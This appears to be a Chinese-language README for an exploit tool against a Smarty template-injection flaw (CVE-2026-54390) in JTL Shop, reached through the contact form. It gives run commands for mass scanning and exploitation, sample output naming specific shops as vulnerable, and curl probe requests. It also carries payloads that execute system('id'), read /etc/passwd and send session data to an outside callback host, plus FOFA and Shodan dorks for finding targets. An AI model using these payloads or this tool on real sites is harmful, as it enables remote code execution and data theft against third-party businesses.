CVE-2026-54390

// includes/src/Mail/Renderer/SmartyRenderer.php 第63行
$subject = $this->parseSubject($model->getSubject($languageID));
$template->setSubject($this->getSmarty()->fetch('string:' . $subject));
//                       ^^^^^^^^^^^^^^^^^^^^^
//                    邮件主题作为 Smarty 模板渲染

1. 用户填写联系表单 → 姓名/邮箱/消息 → filterXSS()
2. filterXSS 仅剥离 HTML — {system('id')} 可通过
3. 邮件主题模板："Neue Anfrage von #Kunde.vorname#"
4. parseSubject() 解析 #Kunde.vorname# → {system('id')}
5. fetch('string:Neue Anfrage von {system(\'id\')}') → 执行
6. 发送邮件，主题为："Neue Anfrage von uid=33(www-data)..."

// PluginCollection.php — 可用于 RCE
'unserialize', 'file_get_contents', 'file_exists', 'class_exists'

git clone https://github.com/shinthink/CVE-2026-54390.git
cd CVE-2026-54390
pip install -r requirements.txt

# 单个目标
python cve_2026_54390.py -t target.com

# 批量扫描
python cve_2026_54390.py -f jtl-targets.txt -o vuln.txt

# 通过联系表单进行 SSTI 探测
python cve_2026_54390.py -t target.com --exploit --debug

  -t, --target      单个目标（域名或 IP）
  -f, --file        目标列表，每行一个
  -o, --output      保存存在漏洞的目标
  --threads         工作线程数（默认：20）
  --exploit         通过联系表单提交 SSTI 探测
  --debug           显示每个 HTTP 请求
  -v, --verbose     详细输出

$ python cve_2026_54390.py -t jtl-shop.de --debug

  JTL Shop Smarty SSTI | CVE-2026-54390

  [jtl-shop.de] JTL Shop v5.7.0
  [jtl-shop.de] [+] JTL Shop v5.7.0
  [jtl-shop.de] 联系表单：/Kontakt | 主题数：5

  主机           : jtl-shop.de
  JTL Shop      : YES v5.7.0
  联系表单       : YES
  表单路径       : /Kontakt
  主题数         : 5 个可用

  [!] business.trustedshops.ch   1.6s  v5.5.2  表单：/Kontakt
  [!] bmg-moebel.de              5.3s  v5.7.0  表单：/Kontakt
  [100/5600] 1%  |   JTL:23  漏洞:12

curl -sk 'https://target.com/Kontakt' | grep -oP 'name="jtl_token"[^>]*value="\K[^"]+'

curl -sk -X POST 'https://target.com/Kontakt' \
  -d 'kontakt=1' -d 'subject=1' \
  -d 'nachricht={7*7}' \
  -d 'vorname={7*7}' \
  -d 'nachname={7*7}' \
  -d '[email protected]'

{{"/etc/passwd"|file_get_contents}}

{{"http://callback.com/?s="|file_get_contents|cat:$smarty.session|replace_delim:":"}}

FOFA:   body="jtl" && body="kontakt"
Shodan: http.html:"jtl" http.html:"Kontakt"